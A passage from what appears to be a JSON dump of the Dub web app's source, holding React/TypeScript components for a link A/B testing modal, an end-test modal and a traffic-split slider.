<Button\n              type=\"submit\"\n              variant=\"primary\"\n              text={\n                Array.isArray(testVariantsParent) &&\n                testVariantsParent.length > 1\n                  ? \"Save changes\"\n                  : \"Start testing\"\n              }\n              className=\"h-9 w-fit\"\n              disabled={\n                !isDirty ||\n                !isValid ||\n                Boolean(\n                  testCompletedAt &&\n                    // Restrict competion date from -1 days to 6 weeks\n                    (differenceInDays(testCompletedAt, new Date()) > 6 * 7 ||\n                      differenceInDays(testCompletedAt, new Date()) < -1),\n                )\n              }\n            />\n          </div>\n        </div>\n      </form>\n    </>\n  );\n}\n\nfunction ABTestingComplete({\n  setShowABTestingModal,\n}: {\n  setShowABTestingModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const { watch } = useFormContext<LinkFormData>();\n\n  const [testVariantsRaw, winnerUrl] = watch([\"testVariants\", \"url\"]);\n  const testVariants = useMemo(\n    () => parseTests(testVariantsRaw),\n    [testVariantsRaw],\n  );\n\n  return (\n    <div className=\"px-5 py-4\">\n      <h3 className=\"text-lg font-medium\">A/B test complete</h3>\n\n      {/* Testing URLs */}\n      <div className=\"mt-6\">\n        <div className=\"flex flex-col gap-2\">\n          {testVariants?.map((test, index) => (\n            <div\n              key={index}\n              className=\"relative block flex grow items-center overflow-hidden rounded-md border border-neutral-300 focus-within:border-neutral-500 focus-within:ring-1 focus-within:ring-neutral-500\"\n            >\n              <span className=\"flex h-9 w-8 shrink-0 items-center justify-center border-r border-neutral-300 text-center text-sm font-medium text-neutral-800\">\n                {index + 1}\n              </span>\n              <span className=\"min-w-0 grow truncate px-2 text-sm text-neutral-800 placeholder-neutral-400\">\n                {test.url}\n              </span>\n              {winnerUrl === test.url && (\n                <CircleCheck className=\"ml-2 mr-3 size-4 shrink-0 text-blue-500\" />\n              )}\n            </div>\n          ))}\n        </div>\n      </div>\n\n      <div className=\"mt-4 flex items-center justify-end\">\n        <div className=\"flex items-center gap-2\">\n          <Button\n            type=\"button\"\n            variant=\"secondary\"\n            text=\"Close\"\n            className=\"h-9 w-fit\"\n            onClick={() => {\n              setShowABTestingModal(false);\n            }}\n          />\n        </div>\n      </div>\n    </div>\n  );\n}\n\nexport function getABTestingLabel({\n  testVariants,\n  testCompletedAt,\n}: Pick<LinkFormData, \"testVariants\" | \"testCompletedAt\">) {\n  const enabled = Boolean(testVariants && testCompletedAt);\n\n  if (testCompletedAt && new Date() > new Date(testCompletedAt))\n    return \"Test Complete\";\n\n  return enabled && Array.isArray(testVariants)\n    ? `${testVariants?.length} URLs`\n    : \"A/B Test\";\n}\n\nfunction ABTestingButton({\n  setShowABTestingModal,\n}: {\n  setShowABTestingModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const { watch } = useFormContext<LinkFormData>();\n  const [testVariants, testCompletedAt] = watch([\n    \"testVariants\",\n    \"testCompletedAt\",\n  ]);\n\n  useKeyboardShortcut(\"a\", () => setShowABTestingModal(true), {\n    modal: true,\n  });\n\n  const enabled = Boolean(testVariants && testCompletedAt);\n  const complete = enabled && new Date() > new Date(testCompletedAt!);\n\n  const label = useMemo(\n    () => getABTestingLabel({ testVariants, testCompletedAt }),\n    [testVariants, testCompletedAt],\n  );\n\n  const Icon = complete ? CircleCheck : Flask;\n\n  return (\n    <Button\n      variant=\"secondary\"\n      text={label}\n      icon={<Icon className={cn(\"size-4\", enabled && \"text-blue-500\")} />}\n      className=\"h-9 w-fit px-2.5 font-medium text-neutral-700\"\n      onClick={() => setShowABTestingModal(true)}\n    />\n  );\n}\n\nexport function useABTestingModal() {\n  const [showABTestingModal, setShowABTestingModal] = useState(false);\n\n  const ABTestingModalCallback = useCallback(() => {\n    return (\n      <>\n        <ABTestingModal\n          showABTestingModal={showABTestingModal}\n          setShowABTestingModal={setShowABTestingModal}\n        />\n      </>\n    );\n  }, [showABTestingModal, setShowABTestingModal]);\n\n  const ABTestingButtonCallback = useCallback(() => {\n    return <ABTestingButton setShowABTestingModal={setShowABTestingModal} />;\n  }, [setShowABTestingModal]);\n\n  return useMemo(\n    () => ({\n      setShowABTestingModal,\n      ABTestingModal: ABTestingModalCallback,\n      ABTestingButton: ABTestingButtonCallback,\n    }),\n    [setShowABTestingModal, ABTestingModalCallback, ABTestingButtonCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/link-builder/ab-testing/end-ab-testing-modal.tsx",
    "content": "import { LinkFormData } from \"@/ui/links/link-builder/link-builder-provider\";\nimport { Button, Modal } from \"@dub/ui\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { useFormContext } from \"react-hook-form\";\n\nfunction EndABTestingModal({\n  showEndABTestingModal,\n  setShowEndABTestingModal,\n  onEndTest,\n}: {\n  showEndABTestingModal: boolean;\n  setShowEndABTestingModal: Dispatch<SetStateAction<boolean>>;\n  onEndTest?: () => void;\n}) {\n  const { watch: watchParent, setValue: setValueParent } =\n    useFormContext<LinkFormData>();\n\n  const testVariants = watchParent(\"testVariants\") as Array<{\n    url: string;\n    percentage: number;\n  }> | null;\n\n  const [selectedUrl, setSelectedUrl] = useState<string | null>(null);\n\n  return (\n    <Modal\n      showModal={showEndABTestingModal}\n      setShowModal={setShowEndABTestingModal}\n      className=\"sm:max-w-md\"\n    >\n      <div className=\"p-4\">\n        <h3 className=\"text-lg font-medium\">End A/B test</h3>\n\n        <div className=\"mt-4\">\n          <p className=\"text-sm text-neutral-600\">\n            Select which destination URL to use as the current destination URL,\n            and end the test. Save your changes on the link editor to confirm\n            the change.\n          </p>\n          <div className=\"mt-4 flex flex-col gap-2\">\n            {testVariants?.map((test, index) => (\n              <button\n                key={index}\n                onClick={() => setSelectedUrl(test.url)}\n                className={`relative flex w-full items-center rounded-md border bg-white p-0 text-left ring-0 ring-black transition-all duration-100 hover:bg-neutral-50 ${\n                  selectedUrl === test.url\n                    ? \"border-black ring-1\"\n                    : \"border-neutral-300\"\n                }`}\n              >\n                <div className=\"flex grow items-center space-x-3 overflow-hidden\">\n                  <span className=\"flex h-9 w-8 shrink-0 items-center justify-center border-r border-neutral-300 text-center text-sm font-medium text-neutral-800\">\n                    {index + 1}\n                  </span>\n                  <span className=\"min-w-0 truncate text-sm font-medium\">\n                    {test.url}\n                  </span>\n                </div>\n                <div className=\"flex size-9 shrink-0 items-center justify-center\">\n                  <div\n                    className={`size-4 rounded-full border transition-all ${\n                      selectedUrl === test.url\n                        ? \"border-4 border-black\"\n                        : \"border-neutral-400\"\n                    }`}\n                  />\n                </div>\n              </button>\n            ))}\n          </div>\n        </div>\n\n        <div className=\"mt-9 flex justify-end gap-2\">\n          <Button\n            text=\"Cancel\"\n            variant=\"secondary\"\n            className=\"h-9 w-fit\"\n            onClick={() => {\n              setSelectedUrl(null);\n              setShowEndABTestingModal(false);\n            }}\n          />\n          <Button\n            text=\"End test\"\n            variant=\"primary\"\n            className=\"h-9 w-fit\"\n            disabled={!selectedUrl}\n            onClick={() => {\n              if (selectedUrl) {\n                setValueParent(\"url\", selectedUrl, { shouldDirty: true });\n                setValueParent(\"testCompletedAt\", new Date(), {\n                  shouldDirty: true,\n                });\n                setShowEndABTestingModal(false);\n                onEndTest?.();\n              }\n            }}\n          />\n        </div>\n      </div>\n    </Modal>\n  );\n}\n\nexport function useEndABTestingModal({\n  onEndTest,\n}: {\n  onEndTest?: () => void;\n} = {}) {\n  const [showEndABTestingModal, setShowEndABTestingModal] = useState(false);\n\n  const EndABTestingModalCallback = useCallback(() => {\n    return (\n      <EndABTestingModal\n        showEndABTestingModal={showEndABTestingModal}\n        setShowEndABTestingModal={setShowEndABTestingModal}\n        onEndTest={onEndTest}\n      />\n    );\n  }, [showEndABTestingModal, setShowEndABTestingModal]);\n\n  return useMemo(\n    () => ({\n      setShowEndABTestingModal,\n      EndABTestingModal: EndABTestingModalCallback,\n    }),\n    [setShowEndABTestingModal, EndABTestingModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/link-builder/ab-testing/traffic-split-slider.tsx",
    "content": "import { MIN_TEST_PERCENTAGE } from \"@/lib/zod/schemas/links\";\nimport { cn } from \"@dub/utils\";\nimport { useCallback, useEffect, useRef, useState } from \"react\";\n\nexport function TrafficSplitSlider({\n  testVariants,\n  onChange,\n}: {\n  testVariants: { url: string; percentage: number }[];\n  onChange: (percentages: number[]) => void;\n}) {\n  const [isDragging, setIsDragging] = useState<number | null>(null);\n  const containerRef = useRef<HTMLDivElement>(null);\n\n  const handleMouseDown = (index: number) => (e: React.MouseEvent) => {\n    e.preventDefault();\n    setIsDragging(index);\n  };\n\n  const handleMouseMove = useCallback(\n    (e: MouseEvent) => {\n      if (isDragging === null || !containerRef.current) return;\n\n      const containerRect = containerRef.current.getBoundingClientRect();\n      const containerWidth = containerRect.width;\n      const mouseX = e.clientX - containerRect.x;\n      const mousePercentage = Math.round((mouseX / containerWidth) * 100);\n\n      // Get sum of percentages to the left and right of the two being affected\n      const leftPercentage = testVariants\n        .slice(0, Math.max(0, isDragging))\n        .reduce((sum, { percentage }) => sum + percentage, 0);\n      const rightPercentage = testVariants\n        .slice(isDragging + 2)\n        .reduce((sum, { percentage }) => sum + percentage, 0);\n\n      let newPercentages = testVariants.map(({ percentage }) => percentage);\n\n      newPercentages[isDragging] = mousePercentage - leftPercentage;\n      newPercentages[isDragging + 1] = 100 - rightPercentage - mousePercentage;\n\n      // Ensure minimum 10% for each test\n      if (newPercentages.every((p) => p >= MIN_TEST_PERCENTAGE)) {\n        onChange(newPercentages);\n      }\n    },\n    [isDragging, testVariants, onChange],\n  );\n\n  const handleMouseUp = useCallback(() => {\n    setIsDragging(null);\n  }, []);\n\n  useEffect(() => {\n    if (isDragging !== null) {\n      window.addEventListener(\"mousemove\", handleMouseMove);\n      window.addEventListener(\"mouseup\", handleMouseUp);\n      return () => {\n        window.removeEventListener(\"mousemove\", handleMouseMove);\n        window.removeEventListener(\"mouseup\", handleMouseUp);\n      };\n    }\n  }, [isDragging, handleMouseMove, handleMouseUp]);\n\n  return (\n    <div\n      ref={containerRef}\n      className={cn(\n        \"relative h-10\",\n        isDragging !== null && \"cursor-col-resize\",\n      )}\n    >\n      <div className=\"absolute inset-0 flex h-full\">\n        {testVariants.map((test, i) => (\n          <div\n            key={i}\n            className=\"@container pointer-events-none relative flex h-full\"\n            style={{ width: `${test.percentage}%` }}\n          >\n            {i > 0 && <div className=\"w-1.5\" />}\n            <div className=\"flex h-full grow items-center justify-center gap-2 rounded-md border border-neutral-300 text-xs\">\n              <span className=\"text-xs font-semibold text-neutral-900\">\n                {i + 1}\n              </span>\n              <span className=\"@[64px]:block hidden font-medium text-neutral-600\">\n                {test.percentage}%\n              </span>\n            </div>\n            {i < testVariants.length - 1 && (\n              <>\n                <div className=\"w-1.5\" />\n                <div\n                  className=\"group pointer-events-auto absolute -right-1.5 flex h-full w-3 cursor-col-resize items-center px-1\"\n                  onMouseDown={handleMouseDown(i)}\n                >\n                  <div\n                    className={cn(\n                      \"h-2/3 w-1 rounded-full bg-neutral-200\",\n                      isDragging === i\n                        ? \"bg-neutral-400\"\n                        : \"group-hover:bg-neutral-300\",\n                    )}\n                  />\n                </div>\n              </>\n            )}\n          </div>\n        ))}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/link-builder/ab-testing-modal.tsx",
    "content": "import {\n  ABTestVariantsSchema,\n  MAX_TEST_COUNT,\n  MIN_TEST_PERCENTAGE,\n} from \"@/lib/zod/schemas/links\";\nimport { LinkFormData } from \"@/ui/links/link-builder/link-builder-provider\";\nimport { useLinkBuilderKeyboardShortcut } from \"@/ui/links/link-builder/use-link-builder-keyboard-shortcut\";\nimport { useAvailableDomains } from \"@/ui/links/use-available-domains\";\nimport { useEndABTestingModal } from \"@/ui/modals/link-builder/ab-testing/end-ab-testing-modal\";\nimport { BusinessBadgeTooltip } from \"@/ui/shared/business-badge-tooltip\";\nimport { X } from \"@/ui/shared/icons\";\nimport {\n  AnimatedSizeContainer,\n  Button,\n  Flask,\n  InfoTooltip,\n  Modal,\n  Tooltip,\n  TriangleWarning,\n} from \"@dub/ui\";\nimport {\n  cn,\n  formatDateTime,\n  getDateTimeLocal,\n  isValidUrl,\n  parseDateTime,\n} from \"@dub/utils\";\nimport { differenceInDays } from \"date-fns\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useEffect,\n  useId,\n  useMemo,\n  useRef,\n  useState,\n} from \"react\";\nimport { useForm, useFormContext } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport * as z from \"zod/v4\";\n\nconst parseTests = (testVariants: LinkFormData[\"testVariants\"]) =>\n  Array.isArray(testVariants) ? ABTestVariantsSchema.parse(testVariants) : null;\n\nconst inTwoWeeks = new Date(Date.now() + 2 * 7 * 24 * 60 * 60 * 1000);\n\nfunction ABTestingModal({\n  showABTestingModal,\n  setShowABTestingModal,\n}: {\n  showABTestingModal: boolean;\n  setShowABTestingModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const id = useId();\n  const inputRef = useRef<HTMLInputElement>(null);\n\n  const {\n    watch: watchParent,\n    getValues: getValuesParent,\n    setValue: setValueParent,\n  } = useFormContext<LinkFormData>();\n\n  const domain = watchParent(\"domain\");\n  const { domains } = useAvailableDomains({\n    currentDomain: domain,\n  });\n\n  const { EndABTestingModal, setShowEndABTestingModal } = useEndABTestingModal({\n    onEndTest: () => setShowABTestingModal(false),\n  });\n\n  const {\n    watch,\n    register,\n    setValue,\n    getValues,\n    reset,\n    formState: { isDirty, isValid },\n    handleSubmit,\n  } = useForm<\n    { testVariants: z.infer<typeof ABTestVariantsSchema> } & Pick<\n      LinkFormData,\n      \"testCompletedAt\"\n    >\n  >({\n    mode: \"onChange\",\n    values: {\n      testVariants: parseTests(getValuesParent(\"testVariants\")) ?? [\n        { url: getValuesParent(\"url\") || \"\", percentage: 100 },\n      ],\n      testCompletedAt:\n        (getValuesParent(\"testCompletedAt\") as Date | null) ?? inTwoWeeks,\n    },\n  });\n\n  const testVariants = watch(\"testVariants\") || [];\n  const testCompletedAt = watch(\"testCompletedAt\");\n  const [idParent, testVariantsParent] = watchParent([\"id\", \"testVariants\"]);\n\n  const addTestUrl = () => {\n    if (!testVariants.length || testVariants.length >= MAX_TEST_COUNT) return;\n\n    const allEqual = testVariants.every(\n      ({ percentage }) =>\n        Math.abs(percentage - testVariants[0].percentage) <= 1,\n    );\n\n    if (allEqual) {\n      // All percentages are equal so let's keep it that way\n      const each = Math.floor(100 / (testVariants.length + 1));\n      setValue(\n        \"testVariants\",\n        [\n          ...testVariants.map((t) => ({ ...t, percentage: each })),\n          { url: \"\", percentage: 100 - each * testVariants.length },\n        ],\n        { shouldDirty: true },\n      );\n    } else {\n      // Not all percentages are equal so let's split the latest one we can\n      const toSplitIndex = testVariants.findLastIndex(\n        ({ percentage }) => percentage >= MIN_TEST_PERCENTAGE * 2,\n      );\n      const toSplit = testVariants[toSplitIndex];\n      const toSplitPercentage = Math.floor(toSplit.percentage / 2);\n      const remainingPercentage = toSplit.percentage - toSplitPercentage;\n\n      setValue(\n        \"testVariants\",\n        [\n          ...testVariants.map((test, idx) => ({\n            ...test,\n            percentage:\n              idx === toSplitIndex ? toSplitPercentage : test.percentage,\n          })),\n          { url: \"\", percentage: remainingPercentage },\n        ],\n        {\n          shouldDirty: true,\n        },\n      );\n    }\n  };\n\n  const removeTestUrl = (index: number) => {\n    if (testVariants.length < 2) return;\n\n    const allEqual = testVariants.every(\n      ({ percentage }) =>\n        Math.abs(percentage - testVariants[0].percentage) <= 1,\n    );\n\n    if (allEqual) {\n      // All percentages are equal so let's keep it that way\n      const each = Math.floor(100 / (testVariants.length - 1));\n      const remainder = 100 - each * (testVariants.length - 2);\n\n      setValue(\n        \"testVariants\",\n        testVariants\n          ?.filter((_, i) => i !== index)\n          .map((test, idx, arr) => ({\n            ...test,\n            percentage: idx === arr.length - 1 ? remainder : each,\n          })) ?? null,\n        {\n          shouldDirty: true,\n        },\n      );\n    } else {\n      // Not all percentages are equal so let's give the last one the remainder\n      const remainder = testVariants[index].percentage;\n\n      setValue(\n        \"testVariants\",\n        testVariants\n          ?.filter((_, i) => i !== index)\n          .map((test, idx, arr) => ({\n            ...test,\n            percentage:\n              idx === arr.length - 1\n                ? test.percentage + remainder\n                : test.percentage,\n          })) ?? null,\n        {\n          shouldDirty: true,\n        },\n      );\n    }\n  };\n\n  return (\n    <Modal\n      showModal={showABTestingModal}\n      setShowModal={setShowABTestingModal}\n      className=\"sm:max-w-md\"\n    >\n      <EndABTestingModal />\n      <form\n        className=\"px-5 py-4\"\n        onSubmit={(e) => {\n          e.stopPropagation();\n          handleSubmit((data) => {\n            const currentTests = data.testVariants;\n\n            if (!currentTests || currentTests.length <= 1) {\n              setValueParent(\"testVariants\", null, { shouldDirty: true });\n              setValueParent(\"testCompletedAt\", null, {\n                shouldDirty: true,\n              });\n\n              return;\n            }\n\n            // Validate total percentage equals 100\n            const totalPercentage = currentTests.reduce(\n              (sum, test) => sum + test.percentage,\n              0,\n            );\n\n            if (totalPercentage !== 100) {\n              toast.error(\"Total percentage must equal 100%\");\n              return;\n            }\n\n            // Validate all URLs are filled\n            if (currentTests.some((test) => !test.url)) {\n              toast.error(\"All test URLs must be filled\");\n              return;\n            }\n\n            setValueParent(\"url\", currentTests[0].url, { shouldDirty: true });\n            setValueParent(\"trackConversion\", true);\n            setValueParent(\"testVariants\", currentTests, { shouldDirty: true });\n            setValueParent(\"testCompletedAt\", data.testCompletedAt, {\n              shouldDirty: true,\n            });\n            setShowABTestingModal(false);\n          })(e);\n        }}\n      >\n        <div className=\"flex items-center justify-between\">\n          <div className=\"flex items-center gap-2\">\n            <h3 className=\"text-lg font-medium\">A/B Testing</h3>\n            <BusinessBadgeTooltip content=\"Test different URLs against each other to optimize your conversion rates. [Learn more.](https://dub.co/help/article/ab-testing)\" />\n          </div>\n          <div className=\"max-md:hidden\">\n            <Tooltip\n              content={\n                <div className=\"px-2 py-1 text-xs text-neutral-700\">\n                  Press{\" \"}\n                  <strong className=\"font-medium text-neutral-950\">A</strong> to\n                  open this quickly\n                </div>\n              }\n              side=\"right\"\n            >\n              <kbd className=\"flex size-6 cursor-default items-center justify-center rounded-md border border-neutral-200 font-sans text-xs text-neutral-950\">\n                A\n              </kbd>\n            </Tooltip>\n          </div>\n        </div>\n\n        {/* Testing URLs */}\n        <div className=\"mt-6\">\n          <div className=\"flex items-center gap-2\">\n            <label className=\"block text-sm font-medium text-neutral-700\">\n              Testing URLs\n            </label>\n            <InfoTooltip content=\"Add up to 3 additional destination URLs to test for this short link. [Learn more](https://dub.co/help/article/ab-testing)\" />\n          </div>\n          <div className=\"mt-2\">\n            <AnimatedSizeContainer\n              height\n              transition={{ ease: \"easeInOut\", duration: 0.2 }}\n              className=\"-m-1\"\n            >\n              <div className=\"flex flex-col gap-2 p-1\">\n                {testVariants.map((_, index) => (\n                  <div key={index} className=\"flex items-center gap-2\">\n                    <label className=\"relative flex grow items-center overflow-hidden rounded-md border border-neutral-300 focus-within:border-neutral-500 focus-within:ring-1 focus-within:ring-neutral-500\">\n                      <span className=\"flex h-9 w-8 items-center justify-center border-r border-neutral-300 text-center text-sm font-medium text-neutral-800\">\n                        {index + 1}\n                      </span>\n                      <input\n                        type=\"url\"\n                        placeholder={\n                          domains?.find(({ slug }) => slug === domain)\n                            ?.placeholder ||\n                          \"https://dub.co/help/article/dub-links\"\n                        }\n                        className=\"block h-9 grow border-none px-2 text-neutral-900 placeholder-neutral-400 focus:ring-0 sm:text-sm\"\n                        {...register(`testVariants.${index}.url`, {\n                          validate: (value, { testVariants }) => {\n                            if (!value) return \"URL is required\";\n\n                            if (!isValidUrl(value)) return \"Invalid URL\";\n\n                            return (\n                              testVariants.length > 1 &&\n                              testVariants.length <= MAX_TEST_COUNT\n                            );\n                          },\n                        })}\n                      />\n                      {index > 0 && (\n                        <Button\n                          onClick={() => removeTestUrl(index)}\n                          variant=\"outline\"\n                          className=\"mr-1 size-7 p-0\"\n                          text={\n                            <>\n                              <span className=\"sr-only\">Remove</span>\n                              <X className=\"size-4\" />\n                            </>\n                          }\n                        />\n                      )}\n                    </label>\n                  </div>\n                ))}\n              </div>\n            </AnimatedSizeContainer>\n\n            <Button\n              type=\"button\"\n              variant=\"primary\"\n              className=\"mt-2 h-8\"\n              onClick={addTestUrl}\n              disabledTooltip={\n                testVariants.length >= MAX_TEST_COUNT\n                  ? `You may only add up to ${MAX_TEST_COUNT} URLs for an A/B test`\n                  : undefined\n              }\n              text=\"Add URL\"\n            />\n          </div>\n        </div>\n\n        {/* Traffic split */}\n        <div className=\"mt-6\">\n          <div className=\"flex items-center gap-2\">\n            <label className=\"block text-sm font-medium text-neutral-700\">\n              Traffic Split\n            </label>\n            <InfoTooltip\n              content={`Adjust the percentage of traffic to each URL. The minimum is ${MIN_TEST_PERCENTAGE}%`}\n            />\n          </div>\n          <div className=\"mt-4\">\n            <TrafficSplitSlider\n              testVariants={testVariants}\n              onChange={(percentages) => {\n                percentages.forEach((percentage, index) => {\n                  setValue(`testVariants.${index}.percentage`, percentage, {\n                    shouldDirty: true,\n                  });\n                });\n              }}\n            />\n          </div>\n        </div>\n\n        {/* Completion Date */}\n        <div className=\"mt-6\">\n          <div className=\"flex items-center gap-2\">\n            <label\n              htmlFor={`${id}-testCompletedAt`}\n              className=\"block text-sm font-medium text-neutral-700\"\n            >\n              Completion Date\n            </label>\n            <InfoTooltip content=\"Set when the A/B test should complete. After this date, all traffic will go to the best performing URL. [Learn more.](https://dub.co/help/article/ab-testing)\" />\n          </div>\n          <div className=\"mt-2 flex w-full items-center justify-between rounded-md border border-neutral-300 bg-white shadow-sm transition-all focus-within:border-neutral-800 focus-within:outline-none focus-within:ring-1 focus-within:ring-neutral-500\">\n            <input\n              ref={inputRef}\n              id={`${id}-testCompletedAt`}\n              type=\"text\"\n              placeholder='E.g. \"in 2 weeks\" or \"next month\"'\n              defaultValue={\n                getValues(\"testCompletedAt\")\n                  ? formatDateTime(getValues(\"testCompletedAt\") as Date)\n                  : \"\"\n              }\n              onBlur={(e) => {\n                if (e.target.value.length > 0) {\n                  const parsedDateTime = parseDateTime(e.target.value);\n                  if (parsedDateTime) {\n                    setValue(\"testCompletedAt\", parsedDateTime, {\n                      shouldDirty: true,\n                    });\n                    e.target.value = formatDateTime(parsedDateTime);\n                  }\n                }\n              }}\n              className=\"flex-1 border-none bg-transparent text-neutral-900 placeholder-neutral-400 focus:outline-none focus:ring-0 sm:text-sm\"\n            />\n            <input\n              type=\"datetime-local\"\n              value={\n                getValues(\"testCompletedAt\")\n                  ? getDateTimeLocal(getValues(\"testCompletedAt\") as Date)\n                  : \"\"\n              }\n              onChange={(e) => {\n                const completeDate = new Date(e.target.value);\n                setValue(\"testCompletedAt\", completeDate, {\n                  shouldDirty: true,\n                });\n                if (inputRef.current) {\n                  inputRef.current.value = formatDateTime(completeDate);\n                }\n              }}\n              className=\"w-[40px] border-none bg-transparent text-neutral-500 focus:outline-none focus:ring-0 sm:text-sm\"\n            />\n          </div>\n          <p className=\"mt-1 text-xs text-neutral-500\">6 weeks maximum</p>\n        </div>\n\n        {testVariantsParent && (\n          <div className=\"mt-6 flex items-start gap-2 rounded-lg border border-amber-200 bg-amber-50 p-4\">\n            <TriangleWarning className=\"mt-0.5 size-4 shrink-0 text-amber-600\" />\n            <p className=\"text-sm font-medium text-amber-900\">\n              Changing the original A/B test settings will impact your future\n              analytics and event tracking.\n            </p>\n          </div>\n        )}\n\n        <div className=\"mt-4 flex items-center justify-between\">\n          <div>\n            {Boolean(testVariantsParent) && (\n              <button\n                type=\"button\"\n                className=\"text-xs font-medium text-neutral-700 transition-colors hover:text-neutral-950\"\n                onClick={() => {\n                  if (idParent) {\n                    setShowEndABTestingModal(true);\n                  } else {\n                    ([\"testVariants\", \"testCompletedAt\"] as const).forEach(\n                      (key) => setValueParent(key, null, { shouldDirty: true }),\n                    );\n                    setShowABTestingModal(false);\n                  }\n                }}\n              >\n                {idParent ? \"End\" : \"Remove\"} A/B test\n              </button>\n            )}\n          </div>\n          <div className=\"flex items-center gap-2\">\n            <Button\n              type=\"button\"\n              variant=\"secondary\"\n              text=\"Cancel\"\n              className=\"h-9 w-fit\"\n              onClick={() => {\n                reset();\n                setShowABTestingModal(false);\n              }}\n            />\n            <Button\n              type=\"submit\"\n              variant=\"primary\"\n              text={\n                Array.isArray(testVariantsParent) &&\n                testVariantsParent.length > 1\n                  ? \"Save changes\"\n                  : \"Start testing\"\n              }\n              className=\"h-9 w-fit\"\n              disabled={\n                !isDirty ||\n                !isValid ||\n                Boolean(\n                  testCompletedAt &&\n                    // Restrict competion date from -1 days to 6 weeks\n                    (differenceInDays(testCompletedAt, new Date()) > 6 * 7 ||\n                      differenceInDays(testCompletedAt, new Date()) < -1),\n                )\n              }\n            />\n          </div>\n        </div>\n      </form>\n    </Modal>\n  );\n}\n\nexport function getABTestingLabel({\n  testVariants,\n  testCompletedAt,\n}: Pick<LinkFormData, \"testVariants\" | \"testCompletedAt\">) {\n  const enabled = Boolean(testVariants && testCompletedAt);\n\n  if (testCompletedAt && new Date(testCompletedAt) < new Date())\n    return \"Test Complete\";\n\n  return enabled && Array.isArray(testVariants)\n    ? `${testVariants?.length} URLs`\n    : \"A/B Test\";\n}\n\nfunction ABTestingButton({\n  setShowABTestingModal,\n}: {\n  setShowABTestingModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const { watch } = useFormContext<LinkFormData>();\n  const [testVariants, testCompletedAt] = watch([\n    \"testVariants\",\n    \"testCompletedAt\",\n  ]);\n\n  useLinkBuilderKeyboardShortcut(\"a\", () => setShowABTestingModal(true));\n\n  const enabled = Boolean(testVariants && testCompletedAt);\n\n  const label = useMemo(\n    () => getABTestingLabel({ testVariants, testCompletedAt }),\n    [testVariants, testCompletedAt],\n  );\n\n  return (\n    <Button\n      variant=\"secondary\"\n      text={label}\n      icon={<Flask className={cn(\"size-4\", enabled && \"text-blue-500\")} />}\n      className=\"h-8 w-fit gap-1.5 px-2.5 text-xs font-medium text-neutral-700\"\n      onClick={() => setShowABTestingModal(true)}\n    />\n  );\n}\n\nexport function useABTestingModal() {\n  const [showABTestingModal, setShowABTestingModal] = useState(false);\n\n  const ABTestingModalCallback = useCallback(() => {\n    return (\n      <>\n        <ABTestingModal\n          showABTestingModal={showABTestingModal}\n          setShowABTestingModal={setShowABTestingModal}\n        />\n      </>\n    );\n  }, [showABTestingModal, setShowABTestingModal]);\n\n  const ABTestingButtonCallback = useCallback(() => {\n    return <ABTestingButton setShowABTestingModal={setShowABTestingModal} />;\n  }, [setShowABTestingModal]);\n\n  return useMemo(\n    () => ({\n      setShowABTestingModal,\n      ABTestingModal: ABTestingModalCallback,\n      ABTestingButton: ABTestingButtonCallback,\n    }),\n    [setShowABTestingModal, ABTestingModalCallback, ABTestingButtonCallback],\n  );\n}\n\nfunction TrafficSplitSlider({\n  testVariants,\n  onChange,\n}: {\n  testVariants: { url: string; percentage: number }[];\n  onChange: (percentages: number[]) => void;\n}) {\n  const [isDragging, setIsDragging] = useState<number | null>(null);\n  const containerRef = useRef<HTMLDivElement>(null);\n\n  const handleMouseDown = (index: number) => (e: React.MouseEvent) => {\n    e.preventDefault();\n    setIsDragging(index);\n  };\n\n  const handleMouseMove = useCallback(\n    (e: MouseEvent) => {\n      if (isDragging === null || !containerRef.current) return;\n\n      const containerRect = containerRef.current.getBoundingClientRect();\n      const containerWidth = containerRect.width;\n      const mouseX = e.clientX - containerRect.x;\n      const mousePercentage = Math.round((mouseX / containerWidth) * 100);\n\n      // Get sum of percentages to the left and right of the two being affected\n      const leftPercentage = testVariants\n        .slice(0, Math.max(0, isDragging))\n        .reduce((sum, { percentage }) => sum + percentage, 0);\n      const rightPercentage = testVariants\n        .slice(isDragging + 2)\n        .reduce((sum, { percentage }) => sum + percentage, 0);\n\n      let newPercentages = testVariants.map(({ percentage }) => percentage);\n\n      newPercentages[isDragging] = mousePercentage - leftPercentage;\n      newPercentages[isDragging + 1] = 100 - rightPercentage - mousePercentage;\n\n      // Ensure minimum 10% for each test\n      if (newPercentages.every((p) => p >= MIN_TEST_PERCENTAGE)) {\n        onChange(newPercentages);\n      }\n    },\n    [isDragging, testVariants, onChange],\n  );\n\n  const handleMouseUp = useCallback(() => {\n    setIsDragging(null);\n  }, []);\n\n  useEffect(() => {\n    if (isDragging !== null) {\n      window.addEventListener(\"mousemove\", handleMouseMove);\n      window.addEventListener(\"mouseup\", handleMouseUp);\n      return () => {\n        window.removeEventListener(\"mousemove\", handleMouseMove);\n        window.removeEventListener(\"mouseup\", handleMouseUp);\n      };\n    }\n  }, [isDragging, handleMouseMove, handleMouseUp]);\n\n  return (\n    <div\n      ref={containerRef}\n      className={cn(\n        \"relative h-10\",\n        isDragging !== null && \"cursor-col-resize\",\n      )}\n    >\n      <div className=\"absolute inset-0 flex h-full\">\n        {testVariants.map((test, i) => (\n          <div\n            key={i}\n            className=\"@container pointer-events-none relative flex h-full\"\n            style={{ width: `${test.percentage}%` }}\n          >\n            {i > 0 && <div className=\"w-1.5\" />}\n            <div className=\"flex h-full grow items-center justify-center gap-2 rounded-md border border-neutral-300 text-xs\">\n              <span className=\"text-xs font-semibold text-neutral-900\">\n                {i + 1}\n              </span>\n              <span className=\"@[64px]:block hidden font-medium text-neutral-600\">\n                {test.percentage}%\n              </span>\n            </div>\n            {i < testVariants.length - 1 && (\n              <>\n                <div className=\"w-1.5\" />\n                <div\n                  className=\"group pointer-events-auto absolute -right-1.5 flex h-full w-3 cursor-col-resize items-center px-1\"\n                  onMouseDown={handleMouseDown(i)}\n                >\n                  <div\n                    className={cn(\n                      \"h-2/3 